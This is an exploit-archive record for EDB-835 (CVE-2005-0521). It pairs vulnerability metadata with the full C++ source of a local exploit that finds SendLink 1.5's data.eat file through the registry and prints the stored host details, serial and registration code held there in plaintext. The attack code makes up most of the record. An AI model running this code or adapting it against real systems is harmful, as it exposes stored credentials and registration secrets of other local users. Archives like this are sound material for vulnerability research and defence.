{"exploit":{"id":"EDB-835","name":"SendLink 1.5 - Local Password Disclosure","description":"SendLink 1.5 - Local Password Disclosure","cves":["CVE-2005-0521"],"author":"Kozan","published":"2005-02-22","platform":"windows","type":"local","language":"C++","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/835","path":"exploits/windows/local/835.cpp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-835.cpp","vulnerabilities":[{"id":"CVE-2005-0521","state":"PUBLISHED","title":null,"titleSource":null,"description":"SendLink 1.5 stores sensitive information, possibly including passwords, in plaintext in the data.eat file, which allows local users to gain privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0521","cvss":{"version":"2.0","baseScore":2.1,"severity":"low","vectorString":"AV:L/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0521"},"updatedAt":"2024-08-07T21:13:54.288Z","retrievedAt":"2026-11-27T04:10:44.474Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-835.png?v=2","url":"https://exploitbin.com/exploits/EDB-835","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-835/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-835/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*****************************************************************\n\nSendLink v1.5 Local Exploit by Kozan\n\nApplication: SendLink v1.5\nVendor:Computer Knacks\nhttp://www.computerknacks.com/\n\nVulnerable Description: SendLink v1.5 discloses passwords to local users.\n\nDiscovered & Coded by: Kozan\nCredits to ATmaCA\nWeb : www.netmagister.com\nWeb2: www.spyinstructors.com\nMail: kozan[at]netmagister[dot]com\n\n*****************************************************************/\n\n#include <windows.h>\n#include <stdio.h>\n#include <string.h>\n\n#define BUFSIZE 100\nHKEY hKey;\nchar prgfiles[BUFSIZE];\nDWORD dwBufLen=BUFSIZE;\nLONG lRet;\n\nchar *hostip, *hostname, *serial, *options, *regcode, *hostport;\n\nint adresal(char *FilePath,char *Str)\n{\n      char kr;\n      int Sayac=0;\n      int Offset=-1;\n      FILE *di;\n      di=fopen(FilePath,\"rb\");\n\n      if( di == NULL )\n      {\n              fclose(di);\n              return -1;\n      }\n\n      while(!feof(di))\n      {\n              Sayac++;\n              for(int i=0;i<strlen(Str);i++)\n              {\n                      kr=getc(di);\n                      if(kr != Str[i])\n                      {\n                              if( i>0 )\n                              {\n                                      fseek(di,Sayac+1,SEEK_SET);\n                              }\n                              break;\n                      }\n                      if( i > ( strlen(Str)-2 ) )\n                      {\n                              Offset = ftell(di)-strlen(Str);\n                              fclose(di);\n                              return Offset;\n                      }\n              }\n      }\n      fclose(di);\n      return -1;\n}\n\nchar *oku(char *FilePath,char *Str)\n{\n\n      FILE *di;\n      char cr;\n          char BB = 0xBB;\n      int i=0;\n      char Feature[500];\n\n      int Offset = adresal(FilePath,Str);\n\n      if( Offset == -1 )\n              return \"\";\n\n      if( (di=fopen(FilePath,\"rb\")) == NULL )\n              return \"\";\n\n      fseek(di,Offset+strlen(Str),SEEK_SET);\n\n      while(!feof(di))\n      {\n              cr=getc(di);\n              if(cr == BB)\n                          break;\n\n              Feature[i] = cr;\n              i++;\n      }\n\n      Feature[i] = '\\0';\n      fclose(di);\n      return Feature;\n}\n\nint main(void)\n{\n       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,\n                  \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\",\n                  0,\n                  KEY_QUERY_VALUE,\n                  &hKey) == ERROR_SUCCESS)\n       {\n\n               lRet = RegQueryValueEx( hKey, \"ProgramFilesDir\", NULL, NULL,\n                                                               (LPBYTE)\nprgfiles, &dwBufLen);\n\n               if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )\n               {\n                       RegCloseKey(hKey);\n           printf(\"An error occured!\\n\");\n                       return 0;\n               }\n\n      RegCloseKey(hKey);\n\n       }\n       else\n   {\n               RegCloseKey(hKey);\n       printf(\"An error occured!\\n\");\n               return 0;\n       }\n\n       strcat(prgfiles,\"\\\\SendLink\\\\User\\\\data.eat\");\n\n       printf(\"SendLink v1.5 Local Exploit by Kozan\\n\");\n       printf(\"Credits to ATmaCA\\n\");\n       printf(\"www.netmagister.com  -  www.spyinstructors.com \\n\\n\");\n\n       try\n       {\n               char hostip_temp[BUFSIZE];\n               wsprintf(hostip_temp,\"hostip%c=%c\",0xBB,0xAB);\n               hostip=oku(prgfiles,hostip_temp);\n               printf(\"Host IP: %s\\n\",hostip);\n\n               char hostname_temp[BUFSIZE];\n               wsprintf(hostname_temp,\"hostname%c=%c\",0xBB,0xAB);\n               hostname=oku(prgfiles,hostname_temp);\n               printf(\"Hostname                        : %s\\n\",hostname);\n\n               char hostport_temp[BUFSIZE];\n               wsprintf(hostport_temp,\"hostport%c=%c\",0xBB,0xAB);\n               hostport=oku(prgfiles,hostport_temp);\n               printf(\"Host Port                        : %s\\n\",hostport);\n\n               char options_temp[BUFSIZE];\n               wsprintf(options_temp,\"options%c=%c\",0xBB,0xAB);\n               options=oku(prgfiles,options_temp);\n               printf(\"Options                                : %s\\n\",options);\n\n               char serial_temp[BUFSIZE];\n               wsprintf(serial_temp,\"serial%c=%c\",0xBB,0xAB);\n               serial=oku(prgfiles,serial_temp);\n               printf(\"Serial                                : %s\\n\",hostip);\n\n               char regcode_temp[BUFSIZE];\n               wsprintf(regcode_temp,\"regcode%c=%c\",0xBB,0xAB);\n               regcode=oku(prgfiles,regcode_temp);\n               printf(\"Registration Code        : %s\\n\",regcode);\n\n       }catch(...){ printf(\"An error occured!\\n\"); return 0; }\n\n       return 0;\n\n}\n\n// milw0rm.com [2005-02-22]","sha256":"61c412e8922ac9e09c02bb1fba6c025a61bc0e05b98778832df4df33be7c23bb","bytes":4782,"fetchedAt":"2026-11-27T04:10:41.243Z","encoding":"utf-8 (display only; download retains original bytes)"}